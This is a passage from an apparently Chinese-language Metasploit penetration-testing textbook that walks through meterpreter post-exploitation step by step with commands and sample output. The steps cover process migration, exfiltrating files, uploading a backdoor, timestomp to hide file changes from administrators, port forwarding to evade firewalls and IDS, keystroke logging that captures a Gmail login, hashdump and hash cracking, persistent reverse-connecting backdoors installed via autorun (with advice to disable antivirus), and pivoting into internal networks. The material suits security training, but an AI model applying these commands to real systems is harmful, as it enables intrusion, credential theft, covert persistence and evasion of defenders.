接下来讨论的另一个重要的meterpreter命令是migrate，该命令用于从某个进程上下文迁移到其他进程。适用于被攻击渗透的进程可能发生崩溃的情况下，例如利用浏览器漏洞攻陷目标机器，但攻击渗透后浏览器可能挂起并被用户关闭。迁移到稳定的系统进程有助于顺利执行渗透测试任务。根据进程ID，可以迁移到任意活跃进程。使用ps命令可以识别所有活跃进程 ID，例如，如果 explorer.exe 的 ID 为 2084，则可以通过下面的命令迁移到explorer.exe。

meterpreter > migrate 2084

[*] Migrating to 2084...

[*] Migration completed successfully.

以上两条 meterpreter 命令不仅使用方便，并且简单高效，渗透测试中会频繁使用到。在下节中将讨论通信信道及怎样与目标进行有效通信。

5.4 与目标建立多重通信信道

本节重点讲述怎样与目标建立多重通道通信。本章的引言中已提到，meterpreter中客户端与服务器的通信是加密的，使用类型-长度-值（TLV）协议进行数据传输。使用TLV协议的优点是可以使用特定通道编号给数据加标签，从而允许目标机器上运行的多个程序与攻击方机器的meterpreter进行通信，便于同时建立多个通信信道。

下面分析一下怎样使用meterpreter与目标机器建立多重通信信道。

准备

Meterpreter中的 execute命令，可用于启动多重通信信道。首先运行 execute –h观察有哪些可用选项。

meterpreter > execute –h

Usage: execute -f file [options]

Executes a command on the remote machine.

OPTIONS:

-H　Create the process hidden from view.

-a <opt> The arguments to pass to the command.

-c　Channelized I/O (required for interaction).

-d <opt>　The 'dummy' executable to launch when using -m.

-f <opt>　The executable command to run.

-h　Help menu.

-i　Interact with the process after creating it.

-k　Execute process on the meterpreters current desktop

-m　Execute from memory.

-s <opt>　Execute process in a given session as the session user

-t　Execute process with currently impersonated thread token

上面列出的是execute命令中可以使用的各种参数及其作用，可以使用其中的某些参数建立多通信信道。

怎样实现

要创建通信信道，可以使用带–f参数的execute命令。

meterpreter > execute -f notepad.exe –c

Process 5708 created.

Channel 1 created.

注意上面命令中两个参数的使用，其中，–f 参数用于设置可执行命令，-c 参数用于建立信道化的I/O。接下来还可以继续运行该命令启动其他信道，而不需要终止当前信道。

meterpreter > execute -f cmd.exe –c

Process 4472 created.

Channel2created.

meterpreter > execute -f calc.exe –c

Process 6000 created.

Channel3created.

从结果可以看到现在已经在目标机器上建立了3条同时运行的通信信道，要列出可用信道，可以使用 channel –l命令。如果需要在某一个信道中发送数据或写入信息，可以使用write命令以及要写入信道的ID。下面是在某个活跃信道中写入消息的示例。

meterpreter > write 5

Enter data followed by a '.' on an empty line:

Metasploit!!

.

[*] Wrote 13 bytes to channel 5.

带信道ID执行write命令后，会出现提示要求输入数据并以句点结束，从上面结果可以看到，已成功在该信道中写入“Metasploit!!”。如果要读取某个信道的数据，则可以使用read命令，并以该信道ID作为参数。

如果需要与某个信道进行交互，则可以使用interact命令，并以该信道ID作为参数。

meterpreter > interact 2

Interacting with channel 2...

Microsoft Windows [Version 6.1.7264]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\DARKLORD\Desktop>

从结果可以看到，信道2是一个命令行提示符信道，使用interact命令可直接进入该命令行提示符模式，并在其中执行系统命令。利用interact命令，可以轻松地在信道之间进行切换。要终止某个信道，可以使用close命令，并以该信道ID作为参数。

上面介绍的内容展示了使用多信道的好处，以及其有助于对信道进行并发管理和不同信道之间的切换。当需要在目标机器上运行多个服务时，信道的使用是很重要的。

下一节将关注如何使用meterpreter探索目标机器的文件系统。

怎样工作

Metasploit 使用单独的信道 ID 为每条消息加标签，这有助于识别特定命令应该在哪个隧道的上下文中执行。Meterpreter中的通信遵循TLV协议，有助于使用特定信道ID为不同消息加标签，并提供了多信道通信支持。

5.5 meterpreter文件系统命令

本节将介绍文件系统命令，这些命令有助于探索文件系统并执行各种任务，例如文件搜索、文件下载及目录切换等。这些命令让使用meterpreter控制目标机器变得非常容易。

怎样实现

首先介绍pwd命令，该命令用于列出当前处于目标机器的哪个目录。类似地，cd命令可以从当前目录切换到目标目录。

meterpreter > pwd

C:\Users\DARKLORD\Desktop

meterpreter > cd c:\

meterpreter > pwd

c:\

从结果可以看到，首先使用pwd命令列出了当前的工作目录，然后使用cd命令从当前目录切换到c:目录，如果需要，还可以使用ls命令列出当前目录中所包含的文件。

接下来在驱动器中搜索文件。浏览每个目录和子目录搜索文件是很枯燥的，不过我们可以使用search命令快速搜索特定的文件类型，如下面的示例所示。

meterpreter > search -f *.doc -d c:\

该命令在C 盘驱动器中搜索所有以.doc作为扩展名的文件，其中-f用于指定要搜索的文件模式，-d参数用于指定在哪个目录下进行搜索。

搜索到特定文件后，在目标机器上本地下载该文件，首先尝试将该文件下载到攻击方所在系统。

meterpreter > download d:\secret.doc /root

[*] downloading: d:secret.doc -> /root/d:secret.doc

[*] downloaded : d:secret.doc -> /root/d:secret.doc

通过使用download命令，将目标机器上任意文件下载到攻击方机器。从结果可以看到，已经将d:\secret.doc文件下载到攻击方机器的root文件夹。

类似地，可以使用upload命令将任意文件上传到目标机器。

meterpreter > upload /root/backdoor.exe d:\

[*] uploading　: /root/backdoor.exe -> d:\

[*] uploaded　: /root/backdoor.exe -> d:\\backdoor.exe

最后，还可以使用del命令从目标机器中删除文件或目录。

meterpreter > del d:\backdoor.exe

怎样工作

通过建立交互式的命令提示符，meterpreter赋予用户对目标机器的完全访问权限。用户也可以不使用shell会话，而使用默认的Windows系统DOS模式，但DOS不具备那么多的功能。上述内容只是简要展示了 meterpreter 中的一些重要系统命令，对探索目标机器中的文件很有帮助。实际上meterpreter还包含很多其他命令，建议用户多尝试。

在下节中将介绍timestomp命令，这也是一条非常重要的meterpreter命令，可用于修改目标机器中的文件属性。

5.6 使用timestomp更改文件属性

在上节中，我们介绍了一些重要而有用的 meterpreter 文件系统命令，可用于在目标机器上执行各种任务。Meterpreter中还包含另一条重要的timestomp命令，该命令用于更改文件的更改-访问-创建-入口（MACE）属性。属性值是该文件发生MACE操作时的日期和时间，使用timestomp命令可以更改这些值。

准备

为什么要修改文件的 MACE 值？因为黑客通常都会使用相应技术修改文件的 MACE值，以便让目标用户感觉文件一直在系统中，而没有被接触或更改。发现系统中存在可疑活动时，管理员会检查近期更改的文件，以便发现有哪些文件被更改或访问过。因此，修改MACE值后，文件就不会出现在近期访问或更改的项目中。即便有其他技术可用来发现MACE值修改行为，但使用timestomp命令仍然是很方便的。

从目标机器中选取一个文件并修改其 MACE 属性，下图是对某个文件使用 timestomp命令之前的各种MACE值。

接下来更改该文件的各种MACE值。首先使用 timestomp –h命令观察有哪些可用的选项，再使用-v参数列出该文件的MACE属性值。

meterpreter > timestomp d:\secret.doc –v

Modified　: 2011-12-12 16:37:48 +0530

Accessed　: 2011-12-12 16:37:48 +0530

Created　: 2011-12-12 16:37:47 +0530

Entry Modified: 2011-12-12 16:47:56 +0530

怎样实现

首先修改该文件的创建时间，注意timestomp命令中传递的不同参数。

meterpreter > timestomp d:\secret.doc -c "3/13/2013 13:13:13"

[*] Setting specific MACE attributes on d:secret.doc

怎样工作

-c 操作符用于更改文件的创建时间，类似地，可以使用-m、-a 参数分别更改文件的修改时间和最后一次访问时间等属性。

meterpreter > timestomp d:\secret.doc -m "3/13/2013 13:13:23"

[*] Setting specific MACE attributes on d:secret.doc

meterpreter > timestomp d:\secret.doc -a "3/13/2013 13:13:33"

[*] Setting specific MACE attributes on d:secret.doc

属性值修改后，可以使用–v参数检查和确认命令是否成功执行。再次检查文件属性。

meterpreter > timestomp d:\secret.doc –v

Modified　: 2013-03-13 13:13:13 +0530

Accessed　: 2013-03-13 13:13:23 +0530

Created　: 2013-03-13 13:13:33 +0530

Entry Modified: 2013-03-13 13:13:13 +0530

从结果可以看到已经成功更改文件的MACE属性，该文件已经不会在近期更改或访问文件列表中出现。

另一种方法是，使用–z参数一次性修改文件的所有4个MACE值，而不再需要分别修改。但是问题是–z参数为所有4个MACE属性赋相同的值，而实际上这是不可能的，创建时间和访问时间肯定是有差别的，因此，应该避免使用–z参数。

本节中简要介绍了timestomp命令，在下节中将介绍一些有用的meterpreter命令，这些命令有助于理解拓展。

5.7 使用meterpreter网络命令

meterpreter还包括一些有用的网络命令，这些命令有助于理解目标用户的网络结构，可用于分析目标机器是属于某个LAN还是单独的系统，也可以了解IP地址段、DNS和其他相关信息，在执行拓展时，这些信息非常有用。拓展是指对已攻陷目标机器所在相同网络上的其他机器进行攻击，在下章介绍meterpreter高级用法时会涉及其更多内容。

准备

首先介绍3个网络术语。

子网是将大型网络划分为一些较小组成部分，子网的划分可以提高地址利用率和安全性。

掩码是一个32位的0、1序列，用于将IP地址划分为子网并指定其中可用主机。

网关指定了前跳或下一跳IP地址，通过网关才能到达子网内IP地址。

在使用route命令时，会涉及这3个术语。

怎样实现

Meterpreter包含3条网络命令：ipconfig、route和portfwd，下面快速了解一下。

Ipconfig命令用于展示目标机器中所有TCP/IP网络配置情况，可列出目标IP地址、硬件MAC地址和网络掩码等信息。

meterpreter > ipconfig

Reliance

Hardware MAC: 00:00:00:00:00:00

IP Address　: 115.242.228.85

Netmask　: 255.255.255.255

Software Loopback Interface 1

Hardware MAC: 00:00:00:00:00:00

IP Address　: 127.0.0.1

Netmask　: 255.0.0.0

从结果可以看到，ipconfig命令的输出包含了各种活跃的TCP/IP配置。

route命令与MS DOS中的 route命令类似，用于展示或修改目标机器上的本地 IP路由表，执行该命令可列出当前的路由表。

meterpreter > route

Network routes

==============

Subnet　Netmask　Gateway

------　-------　-------

0.0.0.0　0.0.0.0　115.242.228.85

115.242.228.85　255.255.255.255　115.242.228.85

127.0.0.0　255.0.0.0　127.0.0.1

127.0.0.1　255.255.255.255　127.0.0.1

127.255.255.255　255.255.255.255　127.0.0.1

192.168.56.0　255.255.255.0　192.168.56.1

192.168.56.1　255.255.255.255　192.168.56.1

192.168.56.255　255.255.255.255　192.168.56.1

224.0.0.0　240.0.0.0　127.0.0.1

224.0.0.0　240.0.0.0　192.168.56.1

224.0.0.0　240.0.0.0　115.242.228.85

255.255.255.255　255.255.255.255　127.0.0.1

255.255.255.255　255.255.255.255　192.168.56.1

255.255.255.255　255.255.255.255　115.242.228.85

执行 route -h命令，观察修改路由表的过程。

meterpreter > route –h

Usage: route [-h] command [args]

Supported commands:

　add　[subnet] [netmask] [gateway]

　 delete [subnet] [netmask] [gateway]

回顾一下前面ipconfig命令的输出，可以看到目标主机以IP地址115.242.228.85连接Internet，所以可以添加一个路由值使其以115.242.228.85为网关对外连接，这样在目标机器上实现对防火墙的绕过。

meterpreter > route add 192.168.56.2 255.255.255.255 192.168.56.1

Creating route 192.168.56.2/255.255.255.255 -> 192.168.56.1

类似地，可以使用delete命令从路由表中移除某个路由值。

最后一条网络命令portfwd，该命令用于将入栈的TCP或UDP连接转发到远程主机。下面的示例有助于理解该命令。

假设有3台主机A、B、C，主机B在中间。主机A需要连接到主机C完成相应任务，但由于某种原因无法实现，而主机B可以直接连接到主机C。如果将主机B放在中间，将主机A发送的连接请求传递给主机B，此时主机B就实现了端口转发功能。

此时网络缆线上的情况是：主机B运行某个软件，打开了该主机上某个TCP监听端口，例如20端口，主机C上也运行一个监听软件，用于收到20端口的数据包时连接主机B，因此，主机A发送数据包到主机B 的20端口时，会被自动转发到主机C，此时主机B的作用就是将数据包通过端口转发传递到主机C。

怎样工作

要实现端口转发，首先需要增加一条转发规则，参考下面的命令行示例。

Meterpreter> portfwd -a -L 127.0.0.1 -l 444 -h 69.54.34.38 -p 3389

注意其中各命令行参数，–a参数用于添加新的端口转发规则，-L参数用于定义绑定转发数据包的IP地址。由于这些都在主机A上运行，并需要在同一主机上完成，所以这里将IP地址设置为127.0.0.1。

-l参数用于指定主机A上的开放端口号，开放该端口的目的是接受入栈连接。-h参数定义了主机C的IP地址，或内部网络其他主机的地址，-p参数指定的是主机C上需要连接的目的端口。

上面的内容是对端口转发过程的简单介绍，这一技术经常被用于规避防火墙和入侵检测系统。

5.8 getdesktop与keystroke监听

本节将介绍一些与桌面与键盘窃听相关的stdapi用户接口命令。键盘截获依赖于当前的活跃桌面，因此，必须要理解怎样在不同桌面活跃会话中的进程之间进行切换，以便对不同的击键记录进行窃听。

怎样实现

首先执行几条本节中将介绍的用户接口命令，如下所示。

● enumdesktops：该命令用于列出所有可访问桌面站和窗口站。

meterpreter > enumdesktops

Enumerating all accessible desktops

Desktops

========

Session　Station　Name

-------　-------　----

0　WinSta0　Default

0　WinSta0　Disconnect

0　WinSta0　Winlogon

0　SAWinSta　SADesktop

从结果可以看到，所有可用的桌面都是与会话 0 相关联的，会话 0 代的含义将在下面的内容中进行介绍。

● getdesktop：该命令用于返回meterpreter会话当前工作桌面。

meterpreter > getdesktop

Session 0\Service-0x0-3e7$\Default

可以将getdesktop命令和enumdesktops命令的输出结合起来，以便对当前工作所在桌面站有更好的理解。

● setdesktop：该命令用于将当前的meterpreter桌面更改到另一个可用的桌面站。

● keyscan_start：该命令用于在当前活跃的桌面站内启动键盘窃听器。

● keyscan_dump：该命令用于导出活跃meterpreter桌面会话的键盘记录。

下面分析一下这些命令怎样在实际中运用，以及怎样通过不同的桌面站进行键盘窃听。

怎样工作

首先介绍Windows桌面的一个重要概念。

Windows桌面划分为不同的会话（session），以便于定义与Windows机器的交互方式。会话0表示的是控制台，其他的会话1、会话2等表示远程桌面会话。

所以，要对攻陷的系统进行键盘捕获，必须在桌面会话0中进行。

每个Windows桌面会话由不同的站组成，从上图中可以看到与会话0相关的各站。这些站中，WinSta0是唯一的交互式站，这意味着用户只能与WinSta0站进行交互。所有其他站都是非交互式的。WinSta0包含Default、Disconnect、Winlogon等3个不同桌面。Default桌面与我们在桌面中执行的所有应用程序和任务相关联，Disconnect 桌面与屏幕保护程序锁定桌面有关，Winlogon桌面与Windows登录屏幕相关。

需要注意的是，每个桌面都有自己的键盘缓冲区，所以，如果需要对Default桌面进行键盘窃听，就必须确保当前meterpreter活跃浏览器设置为Session 0/WinSta0/Default。如果需要窃听登录口令，就必须将活跃桌面更改为Session 0/WinSta0/Winlogon。

使用getdesktop命令检测当前桌面。

meterpreter > getdesktop

Session 0\Service-0x0-3e7$\Default

从结果可以看到，当前桌面不在唯一的交互式桌面站 WinSta0 中，所以，如果在这里运行键盘捕获工具，将不会得到任何结果。下面的命令可以将当前桌面切换到WinSta0\Default。

meterpreter > setdesktop

Changed to desktop WinSta0\Default

meterpreter > getdesktop

Session 0\WinSta0\Default

上面的命令行表明，利用 setdesktop 命令，已经将当前桌面切换到交互式的 Windows桌面站中，下面可以运行键盘窃听工具捕获目标机器用户的按键操作。

meterpreter > keyscan_start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

gmail.com <Return> daklord <Tab> 123123

观察导出的键盘记录，可以清晰地判断出目标用户进入过 gmail.com 并输入过登录口令。

如果要窃听 Windows 登录口令该怎样操作？显然，可以使用 setdesktop 命令将活跃桌面切换为WinSta0\Winlogon，不过这里讨论另一种替代方法，即迁移到Windows登录时运行的进程，执行ps命令检测当前运行进程。

从结果可以看到，winlogon.exe以进程身份运行，并带有一个进程ID。假设winlogon.exe的进程ID（PID）是1180，迁移到该PID并再次检测当前活跃会话。

meterpreter > migrate 1180

[*] Migrating to 1180...

[*] Migration completed successfully.

meterpreter > getdesktop

Session 0\WinSta0\Winlogon

从结果可以看到，活跃桌面已经切换为WinSta0\Winlogon，现在可以运行keyscan_start命令对Windows登录屏幕进行键盘截获。

类似地，也可以通过迁移到默认桌面中运行的任意进程返回到Default桌面，例如PID为884的explorer.exe。

[*] Migrating to 884...

[*] Migration completed successfully.

meterpreter > getdesktop

Session 0\WinSta0\Default

上面的内容展示了迁移到不同进程和桌面环境进行键盘窃听的重要性。通常，不查看当前活跃桌面而直接运行keyscan不会得到任何结果，这是因为攻击渗透的进程可能属于不同的会话或站，所以，进行键盘捕获时不能忽略这个问题。

5.9 使用 scraper meterpreter脚本

本节将介绍一个重要的 meterpreter 脚本，该脚本有助于对目标机器进行更深的探索。由于下一章中将详细地介绍 meterpreter 脚本，所以这里只是介绍脚本的使用。渗透测试过程中，需要花费大量时间对目标机器中的信息进行挖掘，因而对有用信息进行本地备份可给测试者带来很多便利，这样即便目标机器关机，其信息也已经保存下来，并且还能与其他测试者进行信息共享。使用Scraper脚本可以完成这些任务。

准备

scraper脚本用于挖掘已攻陷目标机器的大量信息，例如注册表信息、口令hash值、网络信息等，并可以将这些信息保存在测试者机器上。

要使用meterpreter在目标机器上执行Ruby脚本，可以使用 run命令。执行 run scraper -h命令可列出可以传递给脚本的各种可用参数，下面分析怎样将信息下载到本地。

怎样实现

一经执行后，该脚本会自动执行其所有功能，并在/root/.msf4/logs/scripts/scraper 中创建目录存储文件。脚本执行时可能会出现错误，这是因为某条命令在机器上执行时失败（下面的命令行输出有删减）。

meterpreter > run scraper

[*] New session on 192.168.56.1:4232...

[*] Gathering basic system information...

[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_

passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

[*] Obtaining the entire registry...

[*] Exporting HKCU

[*] Downloading HKCU (C:\Users\DARKLORD\AppData\Local\Temp\UKWKdpIb.reg)

该脚本自动下载并在目标文件夹中保存了相关信息。接下来分析该脚本源代码，以便根据需要对其进行修改。

怎样工作

scraper.rb脚本的源代码在/pentest/exploits/framework3/scripts/meterpreter目录下。

如果具备Ruby语言编程经验，可以编辑该脚本并添加自己的功能。例如，可以修改下面的代码行，以便更改下载位置。

logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper',

host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",ra nd(100000)) )

如果需要获取可用进程列表结果，则可以在程序主体部分添加如下代码行。

::File.open(File.join(logs, "process.txt"), "w") do |fd| fd.puts(m_exec(client, "tasklist"))

end

从结果可以看到，通过Ruby语言编程和代码重用，可以根据需要很容易地对该脚本代码进行修改。

更多

还有另外一个meterpreter脚本可以用于收集目标机器信息。

使用winenum.rb

winenum.rb是另一个可收集目标机器信息并下载到本地保存的meterpreter脚本，读者可以对该脚本进行尝试，观察该脚本提供了哪些额外信息。该脚本存储在/pentest/exploits/framework3/scripts/meterpreter/winenum.rb。

第6章 高级Meterpreter脚本设计

本章讲解下述内容：

● Passing the hash；

● 使用后门建立持久连接；

● 使用meterpreter进行拓展；

● 使用meterpreter进行端口转发；

● Meterpreter API与mixins；

● Railgun—将Ruby转换为武器；

● 向Railgun中添加DLL与函数定义；

● 构建“Windows防火墙反激活”meterpreter脚本；

● 分析现有的meterpreter脚本。

6.1 介绍

在上章中，我们学习了一些功能强大的meterpreter命令。它提供了一种交互性很强的、有用的命令解释器，为后渗透阶段工作提供了极大的便利。进一步讲，不仅仅使执行任务变得更加容易，同时也使其功能更强大、更全面。

在本章中，我们将介绍 meterpreter 的一些高级功能。到目前为止，我们使用的只是Metasploit提供的命令和脚本，但在渗透测试过程中，有时需要在meterpreter中添加脚本。由于Metasploit采用的是模块式的框架结构，因此很容易开发和整合脚本。

首先学习一些高级的meterpreter功能，例如 passing the hash、拓展、端口转发等。然后介绍怎样开发meterpreter脚本。为更好地理解本章的内容，读者需要了解基本的Ruby概念，这样有助于构建更好的 meterpreter 脚本。为便于阅读，首先介绍一些基本的开发概念，然后分析一些现有的Ruby代码，其次学习怎样对其进行重用，或根据需要对其进行编辑修改，最后介绍怎样开发“Windows防火墙反激活”meterpreter脚本。

通过对本章内容的学习将增强读者对Metasploit平台的认识和理解，下面开始对本章内容的学习。

6.2 Passing the hash

Passing the hash或 hashdump系指在Windows登录 hash文件的提取过程。Hashdump meterpreter脚本可以从目标机器中提取口令hash值，破解hash文件可获取登录口令，从而以授权用户身份登录局域网内的其他系统。

准备

首先了解Windows口令及其存储格式。

在Windows登录界面中输入口令后，Windows操作系统会使用预定义的加密机制对其进行加密，将其转换为类似于如下的格式。

7524248b4d2c9a9eadd3b435c51404ee

上面这一段字符串就是一个口令hash值，用户输入登录口令时，操作系统会将输入口令加密成上述格式，并与存储在注册表和/或SAM文件中的正确口令进行比对。

SAM文件保存着本地机器上的每个账号（如果是域控制器，则为域内的每个账号）的用户名和口令hash值，该文件存储在%systemroot%system32config。

然而，当机器处于运行状态时，该文件对包括管理员在内的所有账号实行锁定，唯一可对 SAM 文件进行访问的是“系统级”账号，因此，要获取口令 hash 值，需要进行权限升级。

对用户而言，加密格式存储的口令hash值是完全不可读的。Windows利用NTLM安全协议提供认证支持，NTLM是继早期Windows使用的LM协议的后继协议。

要解码获取的口令hash值，需要使用NTLM/LM解密程序。目前有多种不同的工具具备这一功能，其中一些使用的是暴力猜解技术（例如 John the riper、pwdump等工具），还有一些使用彩虹列表（rainbow crack）。

怎样实现

从活跃的 meterpreter 会话开始，假定已经成功实现对目标的攻击渗透，并获取了meterpreter会话。可参考第4章以了解更多有关攻陷Windows机器的细节。Hashdump脚本的使用很简单和方便。首先检查在目标机器上的权限。前面曾提到，要提取口令hash文件，必须具备系统级权限。使用getuid命令获知当前权限级别，使用getsystem命令，升级权限。

meterpreter > getuid

Server username: DARKLORD-PC\DARKLORD

meterpreter > getsystem

...got system (via technique 4).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

怎样工作

现在已经具备目标机器上的系统级权限，下面尝试使用hashdump脚本。

meterpreter > run hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY

78e1241e98c23002bc85fd94c146309d...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59 d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0:::

DARKLORD:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204b eb12283678:::

从结果可以看到，该脚本已经从 SAM 文件中成功提取了口令 hash 值。接下来可使用不同的工具来破解该 hash值，通常使用的工具包括 John the riper、rainbow crack等。

更多

下面看一下解密口令hash值的其他方法。

在线口令解密

网站 http://www.md5decrypter.co.uk/，可提供对NTLM/LM hash值的在线解密。其工作机理是，将用户提交的口令hash值与其庞大的预定义hash值数据库进行匹配。这是一种破解简单口令快速而有效的技术。下图展示了使用上述网站对口令 hash 值进行在线破解的结果。

从结果可以看到，提交的口令hash值，已经找到相应的匹配项，可读格式口令是123。

需要注意的是，这种口令破解技术完全依赖于口令自身的强度，简单口令破解要比复杂口令容易得多，因为在线数据库中不包含复杂口令生成的hash值。所以，可以考虑使用基于彩虹列表的口令破解器，下面的网址提供了更多关于该话题的信息。

http://bernardodamele.blogspot.in/#!http://bernardodamele.blogspot.com/2 011/12/dump-windows-password-hashes.html.

6.3 使用后门建立持久连接

本书从前渗透阶段技术开始讲解，主要关注的是信息收集技术，然后介绍渗透阶段使用的攻击目标机器的不同技术，之后是一些有用的在攻陷目标后使用的后渗透阶段技术。现在要介绍的是更深入的渗透技术，通过这种技术可与目标机器建立持久连接，以便后续工作中根据需要进行连接。对攻击者而言，目标机器不总是在线和可用的，因此，在目标机器上设置后门以建立持久连接是必要的和有效的。

准备

Meterpreter提供了两个在目标机器上设置后门的脚本，分别是Metsvc和Persistence。这两个脚本的工作方式是类似的，下面逐一进行介绍。

这两个脚本都需要在目标系统上创建文件从而引发防病毒软件告警，建议运行这些脚本之前关闭防病毒软件程序。

怎样实现

Metsvc 脚本是通过在目标机器上创建临时文件进行工作的，例如 DLL、后门服务器及服务等，该脚本还会启动一个配套的多道处理程序自动回连到后门，-A 参数即可用于实现此功能。下面以在Windows 7目标机器上运行该脚本为示例，并对其运行结果进行分析。

meterpreter > run metsvc -h

OPTIONS:

-A　Automatically start a matching multi/handler to connect to the service

-h　his help menu

-r　Uninstall an existing Meterpreter service (files must be deleted manually)

meterpreter > run metsvc –A

[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory C:\Users\DARKLORD\AppData\Local\Temp\ygLFhIFX...

[*]　>> Uploading metsrv.dll...

[*]　>> Uploading metsvc-server.exe...

[*]　>> Uploading metsvc.exe...

[*] Starting the service...

* Installing service metsvc

* Starting service

Service metsvc successfully installed.

后门程序成功上传后，会自动回连到 31337 端口的多道处理程序，可以根据人们的意愿轻松连接到目标机器。

Persistence脚本是另一个有用的后门脚本，其工作方式与Metsvc类似，但具备一些额外的功能，例如定期回连、系统启动时回连、自动运行等。下面看一下该脚本提供的不同选项。

meterpreter > run persistence –h

Meterpreter Script for creating a persistent backdoor on a target host

OPTIONS:

-A　Automatically start a matching multi/handler to..

-L <opt>　Location in target host where to write payload to..

-P <opt>　Payload to use, default is

-S　Automatically start the agent on boot as a service

-T <opt>　Alternate executable template to use

-U　Automatically start the agent when the User logs on

-X　Automatically start the agent when the system boots

-h　This help menu

-i <opt>　The interval in seconds between each connection

-p <opt>　The port on the remote host where Metasploit..

-r <opt>　The IP of the system running Metasploit listening..

从结果可以看到，该脚本提供了一些Metsvc脚本没有的选项。下面执行该脚本，并根据需要传递不同的参数。

meterpreter > run persistence -A -S -U -i 60 -p 4321 –r 192.168.56.101

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf4/logs/persistence/

DARKLORD-PC_20111227.0307/DARKLORD-PC_20111227.0307.rc

[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.56.101

LPORT=4321

[*] Persistent agent script is 610795 bytes long

[+] Persistent Script written to C:\Users\DARKLORD\AppData\Local\Temp\

LHGtjzB.vbs

[*] Starting connection handler at port 4321 for windows/meterpreter/

reverse_tcp

[+] Multi/Handler started!

[*] Executing script C:\Users\DARKLORD\AppData\Local\Temp\LHGtjzB.vbs

[+] Agent executed with PID 5712

[*] Installing into autorun as HKCU\Software\Microsoft\Windows\

CurrentVersion\Run\DBDalcOoYlqJSi

[+] Installed into autorun as HKCU\Software\Microsoft\Windows\

CurrentVersion\Run\DBDalcOoYlqJSi

[*] Installing as service..

[*] Creating service cpvPbOfXj

怎样工作

注意该脚本传递的不同参数，其中，-A 参数用于在攻击方机器上自动启动监听程序，-S参数表示将后门程序设置为Windows系统启动时加载，-U参数表示将后门程序设置为用户登录系统时自动执行，-i 参数用于设置后门程序回连到代理处理程序的时间间隔，-p参数是端口号，-r参数是目标机器的IP地址。脚本执行后的输出中也包含了一些有用的信息。该脚本创建了使用后将后门清除的资源文件，在目标机器的temp 文件夹下创建了vbs文件，此外，该脚本还在注册表中创建了一个条目，以便在Windows系统每次启动时自动加载后门程序。

将后门程序回连到代理处理程序的时间间隔设置为60秒，成功执行该脚本后，可以看到每隔60秒，目标机器将自动打开meterpreter会话。

本节介绍了怎样与目标机器建立持久连接，读者可以在不同的场景下尝试使用这两个脚本，并对其工作过程进行分析。在下节中，我们将关注另一个有趣的拓展概念。

6.4 使用meterpreter进行拓展

到目前为止，我们已介绍了主要的 meterpreter 命令和脚本，读者也已经认识到，在后渗透阶段，meterpreter功能的强大。首先了解拓展的内涵和必要性，然后介绍Metasploit框架怎样用于拓展。

准备

首先对拓展进行详细解读。拓展是指渗透测试人员利用已攻陷系统对同一网段内其他系统进行攻击的方法，这是一种多层次攻击，通过这种攻击，可以访问某些原本只用于内部使用的网络区域（例如intranet），如下图所示的场景。

攻击者可以先攻陷目标网络中连接到Internet的外部节点，这些节点连接到防火墙，防火墙后面是受保护的主要服务器。攻击者不能直接访问服务器，但可以使用这些外部节点作为媒介来访问服务器。如果攻击者成功地攻陷外部节点，就可以对网络进行进一步地渗透，并到达内部服务器。这就是一个典型的拓展场景。上图中的红色线条展示的就是攻击者和服务器之间通过已攻陷节点建立的拓展的路径。本节讨论拓展示例时，会用到前面章节中学到的一些meterpreter网络命令。

怎样实现

下面看一下怎样使用meterpreter实现上述讨论的场景。

在本示例中，目标节点是联网的Windows 7机器，服务器运行在Windows 2003机器上。假定已经使用客户端浏览器漏洞攻陷Windows 7机器，并与其建立了活跃的meterpreter连接。下面在目标节点上运行ipconfig命令，看其上有哪些可用的接口。

meterpreter > ipconfig

Interface　1

Hardware MAC: 00:00:00:00:00:00

IP Address: 10.0.2.15

Netmask　: 255.255.255.0

VirtualBox Host-Only Ethernet Adapter

Hardware MAC: 08:00:27:00:8c:6c

IP Address　: 192.168.56.1

Netmask　: 255.255.255.0

从结果可以看到，目标节点有两个网络接口，一个是192.168.56.1，用于连接Internet；另一个是 10.0.2.15，用于连接到内部网络。接下来查看本地网络内还有哪些其他系统，可使用meterpreter脚本中的arp_scanner，该脚本可对内部网络进行ARP扫描以发现其他可用系统。

meterpreter > run arp_scanner -r 10.0.2.1/24

[*] ARP Scanning 10.0.2.1/24

[*] IP: 10.0.2.7 MAC 8:26:18:41:fb:33

[*] IP: 10.0.2.9 MAC 41:41:41:41:41:41

从结果可以看到，该脚本已经成功发现了该网段内两个可用的IP地址，下面对第一个IP地址进行拓展。

怎样工作

要访问IP地址为10.0.2.7的内部服务器，必须经由IP地址为10.0.2.15的目标节点进行数据包路由，为此可以使用route命令，前面章节中业已涉及该命令的使用。要使用该命令，需要先在当前meterpreter会话下执行background命令。

meterpreter > background

msf exploit(handler) > route add 10.0.2.15 255.255.255.0 1

[*] Route added

msf exploit(handler) > route print

Active Routing Table

====================

Subnet　Netmask　Gateway

------　-------　-------

10.0.2.15　255.255.255.0　Session 1

观察route命令中的参数，其中，add参数用于向路由表中添加相关内容，之后是目标节点和默认网关的 IP地址，最后是活跃meterpreter会话 ID（当前是1）。使用 route print命令得到路由表，可以清晰地看到，经由本网络发送的所有流量都是由活跃meterpreter session 1实现的。

接下来对IP地址10.0.2.7进行端口扫描，该地址之前是不可达的，但现在通过目标节点进行路由即可实现。扫描后可以判断该服务器上的开放端口和服务，确定其为 Windows 2003 服务器后，可以使用exploit/windows/smb/ms08_067_netapi 漏洞利用代码或其他基于操作系统的漏洞利用代码攻陷该服务器，或访问其提供的服务。

6.5 使用meterpreter进行端口转发

